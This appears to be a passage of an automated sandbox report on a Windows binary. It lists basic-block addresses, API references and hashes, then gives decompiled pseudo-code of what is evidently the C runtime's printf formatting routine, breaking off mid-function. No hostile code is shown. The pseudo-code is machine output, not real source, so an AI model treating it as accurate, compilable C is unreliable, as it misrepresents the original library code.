0x0041c1f5
0x0041c1f8
0x0041c1fa
0x00000000
0x00000000
0x00000000
0x00000000
0x0041c0a0
0x0041c0a0
0x00000000
0x00000000
0x0041c5de
0x0041c5de
0x0041c5e1
0x0041c5e7
0x0041c5eb
0x0041c5ed
0x0041c5f1
0x0041cacb
0x0041cad4
0x0041cb03
0x00000000
0x0041cb06
0x0041c5ef
0x00000000
0x00000000
0x0041c1e8
0x0041c1e8
0x00000000
0x00000000
0x0041bac8
0x0041bac8
0x0041bacf
0x0041bad1
0x0041bad3
0x0041bad6
0x0041bad6
0x0041bad8
0x0041bad8
0x0041badb
0x00000000
0x00000000
0x0041c0a7
0x0041c0a7
0x0041c0ae
0x0041c0bd
0x0041c0bd
0x0041c0c4
0x0041c100
0x0041c100
0x0041c107
0x0041c1e6
0x0041c244
0x0041c244
0x0041c248
0x0041c40c
0x0041c40c
0x0041c40c
0x0041c410
0x0041c412
0x00000000
0x00000000
0x0041c418
0x0041c418
0x0041c41c
0x0041c424
0x0041c424
0x0041c42c
0x0041c434
0x0041c436
0x0041c45f
0x0041c462
0x0041c462
0x0041c465
0x0041c438
0x0041c43e
0x0041c441
0x0041c447
0x0041c457
0x0041c457
0x0041c4cb
0x0041c4cb
0x0041c4cf
0x0041c4d1
0x0041c533
0x0041c533
0x0041c536
0x0041c536
0x0041c539
0x0041c53c
0x0041c540
0x0041c547
0x0041c54f
0x00000000
0x0041c54f
0x0041c4d3
0x0041c4d9
0x0041c4dc
0x0041c4e2
0x0041c4e8
0x0041c4ee
0x0041c4f2
0x0041c4f8
0x0041c4ff
0x0041c516
0x0041c516
0x0041c519
0x0041c519
0x0041c51c
0x0041c51f
0x0041c52b
0x0041c531
0x00000000
0x0041c531
0x0041c501
0x0041c501
0x0041c504
0x0041c504
0x0041c507
0x0041c50a
0x00000000
0x00000000
0x0041c50c
0x0041c50c
0x0041c50f
0x0041c511
0x00000000
0x0041c511
0x0041c41e
0x0041c41e
0x0041c422
0x0041c46a
0x0041c46a
0x0041c472
0x0041c47a
0x0041c47c
0x0041c4c2
0x0041c4c5
0x0041c4c5
0x0041c4c8
0x0041c47e
0x0041c47e
0x0041c482
0x0041c4a9
0x0041c4af
0x0041c4b5
0x0041c4b8
0x0041c4b8
0x0041c4ba
0x0041c484
0x0041c484
0x0041c48b
0x0041c49e
0x0041c4a1
0x0041c4a1
0x0041c4a4
0x0041c48d
0x0041c493
0x0041c496
0x0041c496
0x0041c4a7
0x0041c4c0
0x00000000
0x0041c47c
0x00000000
0x0041c422
0x0041c554
0x0041c554
0x0041c558
0x0041c55a
0x0041c55c
0x0041c562
0x0041c564
0x0041c564
0x0041c56a
0x0041c56a
0x0041c56e
0x0041c570
0x0041c570
0x0041c57a
0x0041c581
0x0041c5d4
0x00000000
0x0041c583
0x0041c583
0x0041c583
0x0041c587
0x0041c589
0x0041c5d2
0x0041cacb
0x0041cacb
0x0041cad4
0x0041cb03
0x00000000
0x0041cb06
0x0041cacb
0x0041c58b
0x0041c58b
0x0041c58e
0x0041c58e
0x0041c591
0x0041c594
0x0041c594
0x0041c598
0x0041c5b0
0x0041c5b4
0x0041c5b6
0x0041c5c5
0x0041c5cf
0x0041c5b8
0x0041c5b8
0x0041c5bb
0x0041c5c1
0x0041c5c1
0x0041c59a
0x0041c59a
0x0041c59d
0x0041c5a3
0x0041c5a5
0x0041c5ab
0x0041c5ab
0x00000000
0x0041c598
0x00000000
0x00000000
0x00000000
0x0041c24e
0x0041c24e
0x0041c24e
0x0041c252
0x0041c254
0x00000000
0x00000000
0x0041c25a
0x0041c25a
0x0041c25e
0x0041c266
0x0041c266
0x0041c26e
0x0041c276
0x0041c278
0x0041c2b1
0x0041c2b4
0x0041c2b4
0x0041c2b7
0x0041c27a
0x0041c27a
0x0041c280
0x0041c286
0x0041c28d
0x0041c293
0x0041c299
0x0041c2a9
0x0041c2a9
0x0041c34b
0x0041c34b
0x0041c34f
0x0041c351
0x0041c3bf
0x0041c3bf
0x0041c3c2
0x0041c3c2
0x0041c3c5
0x0041c3c8
0x0041c3cc
0x0041c3d3
0x0041c3db
0x00000000
0x0041c3db
0x0041c353
0x0041c353
0x0041c359
0x0041c35c
0x0041c368
0x0041c36b
0x0041c36c
0x0041c372
0x0041c378
0x0041c37e
0x0041c384
0x0041c38b
0x0041c3a2
0x0041c3a2
0x0041c3a5
0x0041c3a5
0x0041c3a8
0x0041c3ab
0x0041c3b7
0x0041c3bd
0x00000000
0x0041c3bd
0x0041c38d
0x0041c38d
0x0041c390
0x0041c390
0x0041c393
0x0041c396
0x00000000
0x00000000
0x0041c398
0x0041c398
0x0041c39b
0x0041c39d
0x00000000
0x0041c39d
0x0041c260
0x0041c260
0x0041c264
0x0041c2bf
0x0041c2bf
0x0041c2c7
0x0041c2cf
0x0041c2d1
0x0041c342
0x0041c345
0x0041c345
0x0041c348
0x0041c2d3
0x0041c2d3
0x0041c2d7
0x0041c30e
0x0041c314
0x0041c31a
0x0041c31c
0x0041c321
0x0041c321
0x0041c327
0x0041c32d
0x0041c334
0x0041c33a
0x0041c2d9
0x0041c2d9
0x0041c2e0
0x0041c303
0x0041c306
0x0041c306
0x0041c309
0x0041c2e2
0x0041c2e2
0x0041c2e8
0x0041c2ee
0x0041c2f5
0x0041c2fb
0x0041c2fb
0x0041c30c
0x0041c340
0x00000000
0x0041c2d1
0x00000000
0x0041c264
0x0041c3e0
0x0041c3e0
0x0041c3e4
0x0041c3e6
0x0041c3e8
0x0041c3ee
0x0041c3f0
0x0041c3f6
0x0041c3f9
0x0041c3fb
0x0041c401
0x0041c401
0x00000000
0x0041c407
0x0041c10d
0x0041c110
0x0041c113
0x0041c116
0x0041c122
0x0041c128
0x0041c12f
0x0041c132
0x0041c140
0x0041c143
0x0041c146
0x0041c149
0x0041c155
0x0041c15b
0x0041c162
0x0041c164
0x0041c167
0x0041c16a
0x0041c16d
0x0041c171
0x0041c173
0x0041c176
0x0041c176
0x0041c179
0x0041c179
0x0041c171
0x0041c17c
0x00000000
0x0041c17c
0x0041c134
0x0041c134
0x0041c13b
0x0041c13e
0x0041c185
0x0041c18b
0x0041c18e
0x0041c194
0x0041c198
0x0041c1c0
0x0041c1c3
0x0041c1c3
0x0041c1c6
0x0041c1c9
0x0041c1cd
0x0041c1d4
0x0041c1dc
0x0041c19a
0x0041c19a
0x0041c1a1
0x0041c1a3
0x0041c1a6
0x0041c1a6
0x0041c1a9
0x0041c1ac
0x0041c1ae
0x0041c1b1
0x0041c1b1
0x0041c1b4
0x0041c1b4
0x0041c1ac
0x0041c1b7
0x0041c1b7
0x00000000
0x0041c198
0x00000000
0x0041c13e
0x0041c0c6
0x0041c0c6
0x0041c0c9
0x0041c0c9
0x0041c0cc
0x0041c0cf
0x0041c0e5
0x0041c0e5
0x0041c0e8
0x0041c0e8
0x0041c0eb
0x0041c0ee
0x0041c0fa
0x00000000
0x0041c0fa
0x0041c0d1
0x0041c0d1
0x0041c0d8
0x00000000
0x00000000
0x0041c0da
0x0041c0da
0x0041c0dd
0x0041c0e0
0x00000000
0x0041c0e0
0x0041c0b0
0x0041c0b3
0x0041c0b6
0x00000000
0x00000000
0x0041bae0
0x0041bae0
0x0041bae7
0x0041bae9
0x0041baeb
0x0041baee
0x0041baee
0x0041baf1
0x0041baf1
0x0041baf4
0x0041baf7
0x0041bafa
0x0041bafd
0x0041bb00
0x0041bb03
0x0041bb06
0x0041bb09
0x0041bb0c
0x0041bb11
0x0041bb14
0x0041bb17
0x0041bb1a
0x0041bb1a
0x0041bb1d
0x0041bb1d
0x0041bb28
0x0041bb30
0x0041bb34
0x0041bb36
0x0041bb39
0x0041bb3c
0x0041bb3f
0x0041bb41
0x0041bb45
0x0041bb48
0x0041bb48
0x0041bb4b
0x0041bb4e
0x0041bb51
0x0041bb51
0x0041bb3f
0x0041bb55
0x0041bb55
0x0041bb55
0x0041bb58
0x0041bb5b
0x0041bb5e
0x00000000
0x00000000
0x0041bb64
0x0041bb64
0x0041bb67
0x0041bb69
0x0041bb6f
0x0041bb72
0x0041bb75
0x0041bb79
0x0041bb7c
0x0041bb91
0x0041bb91
0x0041bb94
0x0041bb9b
0x0041bba2
0x0041bbaa
0x0041bbac
0x0041bbb3
0x0041bbb9
0x0041bbbc
0x0041bbbf
0x0041bc70
0x0041bc74
0x0041bc74
0x0041bc74
0x00000000
0x0041bc74
0x0041bb7e
0x0041bb7e
0x0041bb82
0x0041bb84
0x00000000
0x00000000
0x0041bb86
0x0041bb86
0x0041bb89
0x0041bb8c
0x0041bb8f
0x0041bbc7
0x0041bbc7
0x0041bbca
0x0041bbcc
0x0041bbd2
0x0041bbd5
0x0041bbd8
0x0041bbdc
0x0041bbe0
0x0041bbe2
0x0041bbec
0x0041bbef
0x0041bbf2
0x0041bbf5
0x0041bbe4
0x0041bbe4
0x0041bbe7
0x0041bbe7
0x0041bbf8
0x0041bbfb
0x0041bc08
0x0041bc08
0x0041bc08
0x0041bc0c
0x0041bc10
0x0041bc12
0x00000000
0x00000000
0x0041bc14
0x0041bc18
0x0041bc1f
0x0041bc27
0x0041bc29
0x0041bc30
0x0041bc36
0x0041bc39
0x0041bc3c
0x0041bc00
0x0041bc03
0x0041bc03
0x0041bc05
0x0041bc05
0x0041bc41
0x0041bc45
0x0041bc4c
0x0041bc54
0x0041bc56
0x0041bc5d
0x0041bc5d
0x0041bc63
0x0041bc66
0x0041bc69
0x0041bc6c
0x00000000
0x0041bc6c
0x00000000
0x0041bb8f
0x0041bc75
0x0041bc75
0x0041bc78
0x0041bc7b
0x0041bc7d
0x0041bc84
0x0041bc84
0x0041bc88
0x0041bc8a
0x0041bc8d
0x0041bc8d
0x0041bc90
0x0041bc93
0x0041bc99
0x0041bc9c
0x0041bcaa
0x0041bcaf
0x0041bcb2
0x0041bcb6
0x0041bcbb
0x0041bcbb
0x0041bcbe
0x0041bcbe
0x0041bcc1
0x0041bcc1
0x0041bcc1
0x0041bcc8
0x00000000
0x00000000
0x0041bcca
0x0041bcd3
0x0041bcd6
0x0041bcd8
0x0041be71
0x0041be71
0x0041be75
0x0041bf55
0x0041bf55
0x0041bf58
0x0041bf5b
0x0041c096
0x00000000
0x0041c096
0x0041bf61
0x0041bf65
0x0041bf67
0x0041bf73
0x0041bf76
0x0041bf7a
0x0041bf84
0x0041bf86
0x0041c01a
0x0041c01d
0x0041c021
0x0041c023
0x0041c02a
0x0041c035
0x0041c038
0x0041c048
0x0041c04e
0x0041c06a
0x0041c06a
0x0041c06c
0x0041c050
0x0041c050
0x0041c056
0x0041c056
0x0041c081
0x0041c08c
0x0041c091
0x0041c091
0x0041c038
0x0041c02a
0x0041bf8c
0x0041bf91
0x0041bf94
0x0041bf98
0x0041bf9a
0x0041bfa1
0x0041bfae
0x0041bfb1
0x0041bfc3
0x0041bfc9
0x0041bfe7
0x0041bfe7
0x0041bfe9
0x0041bfcb
0x0041bfcb
0x0041bfd1
0x0041bfd1
0x0041c000
0x0041c00d
0x0041c012
0x0041c012
0x0041bfb1
0x0041bfa1
0x0041c015
0x0041bf86
0x0041bf7a
0x0041cacb
0x0041cacb
0x0041cad4
0x0041cb03
0x00000000
0x0041cb06
0x0041cacb
0x0041be7b
0x0041be80
0x0041be8a
0x0041be8c
0x0041bef2
0x0041bef5
0x0041bef8
0x0041befc
0x0041befe
0x0041bf05
0x0041bf07
0x0041bf0b
0x0041bf13
0x0041bf19
0x0041bf2c
0x0041bf2c
0x0041bf2f
0x0041bf1b
0x0041bf1b
0x0041bf21
0x0041bf21
0x0041bf44
0x0041bf48
0x0041bf4d
0x0041bf4d
0x0041bf0b
0x0041bf05
0x0041be8e
0x0041be90
0x0041be93
0x0041be96
0x0041be9a
0x0041be9c
0x0041bea3
0x0041bea5
0x0041bea9
0x0041beb1
0x0041beb7
0x0041beca
0x0041beca
0x0041becd
0x0041beb9
0x0041beb9
0x0041bebf
0x0041bebf
0x0041bee4
0x0041bee8
0x0041beed
0x0041beed
0x0041bea9
0x0041bea3
0x0041bef0
0x00000000
0x0041bf50
0x0041bcde
0x0041bce4
0x0041bceb
0x0041bcf0
0x0041bcf3
0x0041bcf9
0x0041bd00
0x0041be4e
0x0041be54
0x0041be57
0x0041be62
0x0041be67
0x00000000
0x0041be67
0x0041bd06
0x0041bd06
0x0041bd0a
0x0041bd65
0x0041bd65
0x0041bd69
0x0041bd6b
0x0041be43
0x0041be46
0x0041be46
0x0041be49
0x0041be4c
0x0041bcc1
0x0041bcc1
0x0041bcc8
0x00000000
0x00000000
0x00000000
0x0041bcc8
0x0041bd71
0x0041bd71
0x0041bd75
0x0041bd83
0x0041bd87
0x0041bd89
0x0041be2d
0x0041be35
0x0041be3b
0x0041be3b
0x0041be3e
0x0041bd8f
0x0041bd95
0x0041bda3
0x0041bda8
0x0041bdab
0x0041bdad
0x0041bdb2
0x0041bdb2
0x0041bdb5
0x0041bdbc
0x0041bdc1
0x0041bdc4
0x0041bdc4
0x0041bdcf
0x0041bdd9
0x0041bdfe
0x0041be03
0x0041be09
0x0041be0d
0x0041be16
0x0041be1f
0x0041be1f
0x00000000
0x0041be41
0x0041bd77
0x0041bd77
0x00000000
0x0041bd77
0x0041bd0c
0x0041bd0c
0x0041bd10
0x0041bd2d
0x0041bd2d
0x0041bd31
0x00000000
0x00000000
0x0041bd37
0x0041bd3d
0x0041bd40
0x0041bd5d
0x0041bd5f
0x00000000
0x00000000
0x00000000
0x0041bd5f
0x0041bd12
0x0041bd12
0x0041bd19
0x0041bd24
0x0041bd24
0x0041bd2b
0x00000000
0x00000000
0x00000000
0x0041bd2b
0x0041bd1b
0x0041bd1b
0x0041bd22
0x00000000
0x00000000
0x00000000
0x0041bd22
0x0041bcc1
0x0041bc7f
0x00000000
0x00000000
0x00000000
0x00000000
0x0041ba87
0x0041b9dc
0x0041b9e0
0x0041b9ee
0x0041b9f1
0x0041b9fa
0x0041ba03
0x0041ba09
0x0041ba12
0x0041ba1b
0x0041ba1e
0x0041ba21
0x0041ba28
0x00000000
0x0041ba2a
0x0041ba2a
0x0041ba33
0x0041ba3f
0x0041ba42
0x0041ba35
0x0041ba37
0x0041ba3a
0x0041ba3a
0x0041ba4a
0x00000000
0x0041ba4a
0x0041ba28
0x0041b9e2
0x0041b9e6
0x00000000
0x00000000
0x0041b9e8
0x0041b9ec
0x00000000
0x00000000
0x00000000
0x0041b9ec
0x0041b9ca
0x0041b9ce
0x0041cadc
0x0041cae2
0x0041cae9
0x0041caf0
0x0041caf5
0x00000000
0x0041caf5
0x00000000
0x0041b9ce
0x0041b9b3
0x0041b9ba
0x00000000
0x0041b9bc
0x00000000
0x0041b9bc
0x0041b9ba
0x0041b96e
0x0041b972
0x0041b992
0x0041b995
0x0041b998
0x0041b99f
0x0041b9a4
0x0041b9a7
0x00000000
0x0041b9a7
0x0041b974
0x0041b978
0x00000000
0x0041b97a
0x0041b982
0x0041b987
0x0041b98a
0x00000000
0x0041b98a
0x0041b927
0x0041b927
0x0041b930
0x0041b93d
0x0041b946
0x00000000
0x0041b946
0x0041b932
0x0041b93b
0x0041b954
0x0041b956
0x00000000
0x0041b956
0x00000000
0x0041b93b
0x0041b925
0x0041b5ff
0x0041b605
0x0041b61d
0x0041b622
0x0041b625
0x0041b625
0x0041b62b
0x0041b633
0x0041b63b
0x0041b640
0x0041b643
0x00000000
0x0041b625
0x0041b5fd
0x00000000
0x0041b5de
0x0041cc0b
0x0041cacb
0x0041c844
0x0041c84b
0x0041c85a
0x0041c863
0x0041c868
0x00000000
0x00000000
0x0041c86e
0x0041c877
0x0041c880
0x0041c895
0x0041c8a0
0x0041c8a5
0x0041c8aa
0x0041c8b1
0x0041c8b7
0x0041c8be
0x0041c8c3
0x0041c8c6
0x0041c8d3
0x0041c91c
0x0041c923
0x0041c95b
0x0041c95b
0x0041c963
0x0041c968
0x0041c96d
0x00000000
0x00000000
0x0041c973
0x0041c97c
0x0041c981
0x00000000
0x00000000
0x0041c983
0x0041c98c
0x0041c9a1
0x0041c9a9
0x0041c9c5
0x0041c9c9
0x0041c9ce
0x0041c9d3
0x0041c9da
0x0041c9e0
0x0041c9e7
0x0041c9ec
0x0041c9ef
0x00000000
0x0041c9ef
0x0041c9d5
0x00000000
0x0041c9d5
0x00000000
0x0041c95b
0x0041c925
0x0041c92e
0x0041c933
0x0041c943
0x0041c946
0x0041c94d
0x0041c952
0x0041c955
0x0041c935
0x0041c93b
0x0041c93b
0x00000000
0x0041c933
0x0041c8d5
0x0041c8de
0x0041c8e7
0x0041c8fc
0x0041c907
0x0041c90c
0x0041c911
0x0041c918
0x00000000
0x0041c918
0x0041c913
0x00000000
0x0041c913
0x0041c8ac
0x00000000
0x0041c8ac
0x0041c84d
0x0041c854
0x00000000
0x00000000
0x00000000
0x0041c854
0x0041c724
0x0041c72d
0x0041c732
0x00000000
0x00000000
0x0041c738
0x0041c73e
0x0041c74d
0x0041c75f
0x0041c767
0x0041c775
0x0041c787
0x0041c78c
0x0041c791
0x0041c798
0x0041c798
0x0041c7a0
0x0041c7a5
0x0041c7aa
0x00000000
0x00000000
0x0041c7b0
0x0041c7b9
0x0041c7be
0x00000000
0x00000000
0x0041c7c0
0x0041c7c9
0x0041c7de
0x0041c7e6
0x0041c7f4
0x0041c806
0x0041c80b
0x0041c810
0x0041c817
0x0041c81d
0x0041c824
0x0041c829
0x0041c82c
0x00000000
0x0041c82c
0x0041c812
0x00000000
0x0041c812
0x00000000
0x0041c798
0x0041c793
0x00000000
0x0041c61f
0x0041c626
0x00000000
0x00000000
0x00000000
0x0041c626

APIs

__inc.LIBCMTD ref: 0041C63E
_isdigit.LIBCMTD ref: 0041C664
__inc.LIBCMTD ref: 0041C6E8
_isdigit.LIBCMTD ref: 0041C7A0
__inc.LIBCMTD ref: 0041C745

Part of subcall function 0041CF70: __filbuf.LIBCMTD ref: 0041CFB6

__inc.LIBCMTD ref: 0041C8BE
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 0041CC8A

Strings

+, xrefs: 0041C91C

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: __inc$Locale_isdigit$UpdateUpdate::~___filbuf
String ID: +
API String ID: 3142972200-2126386893
Opcode ID: 6541f1eceb1a6205f707aeb5166a889455ce6287ceb53596a03259a5cd0c8827
Instruction ID: 7b8b5558eaf09ad30f4fce7ed83b33b0c1e79edf5861431f361ef56c074ca792
Opcode Fuzzy Hash: 6541f1eceb1a6205f707aeb5166a889455ce6287ceb53596a03259a5cd0c8827
Instruction Fuzzy Hash: 1EF180B5D802199BCF24DFA8CCD0BEEBB75BF54304F14819AD41AA7302D634AA81CF95

Uniqueness

Uniqueness Score: -1.00%

Function 004301D5, Relevance: 23.0, APIs: 9, Strings: 4, Instructions: 225
COMMON

Download Yara Rule

C-Code - Quality: 58%

			E004301D5(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t495;
				signed int _t497;
				signed int _t503;
				void* _t508;
				signed int _t510;
				void* _t530;
				signed int _t548;
				void* _t558;
				signed int _t566;
				signed int _t593;
				void* _t621;
				void* _t622;
				signed int _t623;
				void* _t625;
				void* _t626;

				L0:
				while(1) {
					L0:
					_t622 = __esi;
					_t621 = __edi;
					_t558 = __ebx;
					_t495 = E0042BCB0(_t623 + 0x14);
					_t626 = _t625 + 4;
					 *((intOrPtr*)(_t623 - 0x288)) = _t495;
					if( *((intOrPtr*)(_t623 - 0x288)) == 0) {
						goto L82;
					}
					L81:
					__ecx =  *(__ebp - 0x288);
					__eflags =  *(__ecx + 4);
					if( *(__ecx + 4) != 0) {
						L83:
						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
						__eflags =  *(__ebp - 0x10) & 0x00000800;
						if(( *(__ebp - 0x10) & 0x00000800) == 0) {
							 *(__ebp - 0xc) = 0;
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__edx =  *__ecx;
							 *(__ebp - 0x24) =  *__ecx;
						} else {
							__edx =  *(__ebp - 0x288);
							__eax =  *(__edx + 4);
							 *(__ebp - 4) =  *(__edx + 4);
							__ecx =  *(__ebp - 0x288);
							__eax =  *__ecx;
							asm("cdq");
							 *__ecx - __edx =  *__ecx - __edx >> 1;
							 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
							 *(__ebp - 0xc) = 1;
						}
						L86:
						while(1) {
							L190:
							__eflags =  *(_t623 - 0x28);
							if( *(_t623 - 0x28) != 0) {
								goto L216;
							}
							L191:
							__eflags =  *(_t623 - 0x10) & 0x00000040;
							if(( *(_t623 - 0x10) & 0x00000040) != 0) {
								__eflags =  *(_t623 - 0x10) & 0x00000100;
								if(( *(_t623 - 0x10) & 0x00000100) == 0) {
									__eflags =  *(_t623 - 0x10) & 0x00000001;
									if(( *(_t623 - 0x10) & 0x00000001) == 0) {
										__eflags =  *(_t623 - 0x10) & 0x00000002;
										if(( *(_t623 - 0x10) & 0x00000002) != 0) {
											 *((char*)(_t623 - 0x14)) = 0x20;
											 *(_t623 - 0x1c) = 1;
										}
									} else {
										 *((char*)(_t623 - 0x14)) = 0x2b;
										 *(_t623 - 0x1c) = 1;
									}
								} else {
									 *((char*)(_t623 - 0x14)) = 0x2d;
									 *(_t623 - 0x1c) = 1;
								}
							}
							 *((intOrPtr*)(_t623 - 0x2c4)) =  *((intOrPtr*)(_t623 - 0x18)) -  *(_t623 - 0x24) -  *(_t623 - 0x1c);
							__eflags =  *(_t623 - 0x10) & 0x0000000c;
							if(__eflags == 0) {
								E00430DC0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
							}
							E00430E00( *(_t623 - 0x1c), __eflags, _t623 - 0x14,  *(_t623 - 0x1c),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
							_t626 = _t626 + 0x10;
							__eflags =  *(_t623 - 0x10) & 0x00000008;
							if(( *(_t623 - 0x10) & 0x00000008) != 0) {
								__eflags =  *(_t623 - 0x10) & 0x00000004;
								if(( *(_t623 - 0x10) & 0x00000004) == 0) {
									E00430DC0(0x30,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
									_t626 = _t626 + 0x10;
								}
							}
							__eflags =  *(_t623 - 0xc);
							if(__eflags == 0) {
								L212:
								E00430E00( *(_t623 - 4), __eflags,  *(_t623 - 4),  *(_t623 - 0x24),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
								_t626 = _t626 + 0x10;
								goto L213;
							} else {
								L204:
								__eflags =  *(_t623 - 0x24);
								if(__eflags <= 0) {
									goto L212;
								}
								L205:
								 *(_t623 - 0x2dc) = 0;
								 *(_t623 - 0x2c8) =  *(_t623 - 4);
								 *(_t623 - 0x2cc) =  *(_t623 - 0x24);
								while(1) {
									L206:
									 *(_t623 - 0x2cc) =  *(_t623 - 0x2cc) - 1;
									__eflags =  *(_t623 - 0x2cc);
									if( *(_t623 - 0x2cc) == 0) {
										break;
									}
									L207:
									 *(_t623 - 0x32e) =  *( *(_t623 - 0x2c8));
									_t548 = E00432820(_t623 - 0x2d0, _t623 - 0x2d8, 6,  *(_t623 - 0x32e) & 0x0000ffff);
									_t626 = _t626 + 0x10;
									 *(_t623 - 0x2dc) = _t548;
									 *(_t623 - 0x2c8) =  *(_t623 - 0x2c8) + 2;
									__eflags =  *(_t623 - 0x2dc);
									if( *(_t623 - 0x2dc) != 0) {
										L209:
										 *(_t623 - 0x24c) = 0xffffffff;
										break;
									}
									L208:
									__eflags =  *(_t623 - 0x2d0);
									if(__eflags != 0) {
										L210:
										E00430E00( *((intOrPtr*)(_t623 + 8)), __eflags, _t623 - 0x2d8,  *(_t623 - 0x2d0),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
										continue;
									}
									goto L209;
								}
								L211:
								L213:
								__eflags =  *(_t623 - 0x24c);
								if( *(_t623 - 0x24c) >= 0) {
									__eflags =  *(_t623 - 0x10) & 0x00000004;
									if(( *(_t623 - 0x10) & 0x00000004) != 0) {
										E00430DC0(0x20,  *((intOrPtr*)(_t623 - 0x2c4)),  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
										_t626 = _t626 + 0x10;
									}
								}
							}
							L216:
							__eflags =  *(_t623 - 0x20);
							if( *(_t623 - 0x20) != 0) {
								L0041DD40( *(_t623 - 0x20), 2);
								_t626 = _t626 + 8;
								 *(_t623 - 0x20) = 0;
							}
							while(1) {
								L218:
								 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
								_t594 =  *(_t623 - 0x251);
								 *(_t623 + 0xc) =  *(_t623 + 0xc) + 1;
								if( *(_t623 - 0x251) == 0 ||  *(_t623 - 0x24c) < 0) {
									break;
								} else {
									if( *(_t623 - 0x251) < 0x20 ||  *(_t623 - 0x251) > 0x78) {
										 *(_t623 - 0x310) = 0;
									} else {
										 *(_t623 - 0x310) =  *( *(_t623 - 0x251) +  &M004077B8) & 0xf;
									}
								}
								L7:
								 *(_t623 - 0x250) =  *(_t623 - 0x310);
								_t510 =  *(_t623 - 0x250) * 9;
								_t566 =  *(_t623 - 0x25c);
								_t594 = ( *(_t510 + _t566 + 0x4077d8) & 0x000000ff) >> 4;
								 *(_t623 - 0x25c) = ( *(_t510 + _t566 + 0x4077d8) & 0x000000ff) >> 4;
								if( *(_t623 - 0x25c) != 8) {
									L16:
									 *(_t623 - 0x318) =  *(_t623 - 0x25c);
									__eflags =  *(_t623 - 0x318) - 7;
									if( *(_t623 - 0x318) > 7) {
										continue;
									}
									L17:
									switch( *((intOrPtr*)( *(_t623 - 0x318) * 4 +  &M00430C0C))) {
										case 0:
											L18:
											 *(_t623 - 0xc) = 0;
											_t513 = E004254B0( *(_t623 - 0x251) & 0x000000ff, E0041B2D0(_t623 - 0x40));
											_t629 = _t626 + 8;
											__eflags = _t513;
											if(_t513 == 0) {
												L24:
												E00430D10( *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t626 = _t629 + 0xc;
												goto L218;
											} else {
												E00430D10( *(_t623 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t623 + 8)), _t623 - 0x24c);
												_t629 = _t629 + 0xc;
												_t571 =  *( *(_t623 + 0xc));
												 *(_t623 - 0x251) =  *( *(_t623 + 0xc));
												_t594 =  *(_t623 + 0xc) + 1;
												__eflags = _t594;
												 *(_t623 + 0xc) = _t594;
												asm("sbb eax, eax");
												 *(_t623 - 0x27c) =  ~( ~( *(_t623 - 0x251)));
												if(_t594 == 0) {
													_push(L"(ch != _T(\'\\0\'))");
													_push(0);
													_push(0x486);
													_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
													_push(2);
													_t525 = L0041AAF0();
													_t629 = _t629 + 0x14;
													__eflags = _t525 - 1;
													if(_t525 == 1) {
														asm("int3");
													}
												}
												L22:
												__eflags =  *(_t623 - 0x27c);
												if( *(_t623 - 0x27c) != 0) {
													goto L24;
												} else {
													 *((intOrPtr*)(L0041A7C0(_t571))) = 0x16;
													E00419D60(_t571, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
													 *(_t623 - 0x2f4) = 0xffffffff;
													E0041B2A0(_t623 - 0x40);
													_t503 =  *(_t623 - 0x2f4);
													goto L229;
												}
											}
										case 1:
											L25:
											 *(__ebp - 0x2c) = 0;
											__edx =  *(__ebp - 0x2c);
											 *(__ebp - 0x28) =  *(__ebp - 0x2c);
											__eax =  *(__ebp - 0x28);
											 *(__ebp - 0x18) =  *(__ebp - 0x28);
											__ecx =  *(__ebp - 0x18);
											 *(__ebp - 0x1c) = __ecx;
											 *(__ebp - 0x10) = 0;
											 *(__ebp - 0x30) = 0xffffffff;
											 *(__ebp - 0xc) = 0;
											goto L218;
										case 2:
											L26:
											__edx =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
											__eflags =  *(__ebp - 0x31c) - 0x10;
											if( *(__ebp - 0x31c) > 0x10) {
												goto L33;
											}
											L27:
											__ecx =  *(__ebp - 0x31c);
											_t74 = __ecx + 0x430c44; // 0x498d04
											__edx =  *_t74 & 0x000000ff;
											switch( *((intOrPtr*)(( *_t74 & 0x000000ff) * 4 +  &M00430C2C))) {
												case 0:
													goto L30;
												case 1:
													goto L31;
												case 2:
													goto L29;
												case 3:
													goto L28;
												case 4:
													goto L32;
												case 5:
													goto L33;
											}
										case 3:
											L34:
											__edx =  *((char*)(__ebp - 0x251));
											__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
											if( *((char*)(__ebp - 0x251)) != 0x2a) {
												__eax =  *(__ebp - 0x18);
												__eax =  *(__ebp - 0x18) * 0xa;
												__eflags = __eax;
												__ecx =  *((char*)(__ebp - 0x251));
												_t98 = __ecx - 0x30; // -48
												__edx = __eax + _t98;
												 *(__ebp - 0x18) = __eax + _t98;
											} else {
												__eax = __ebp + 0x14;
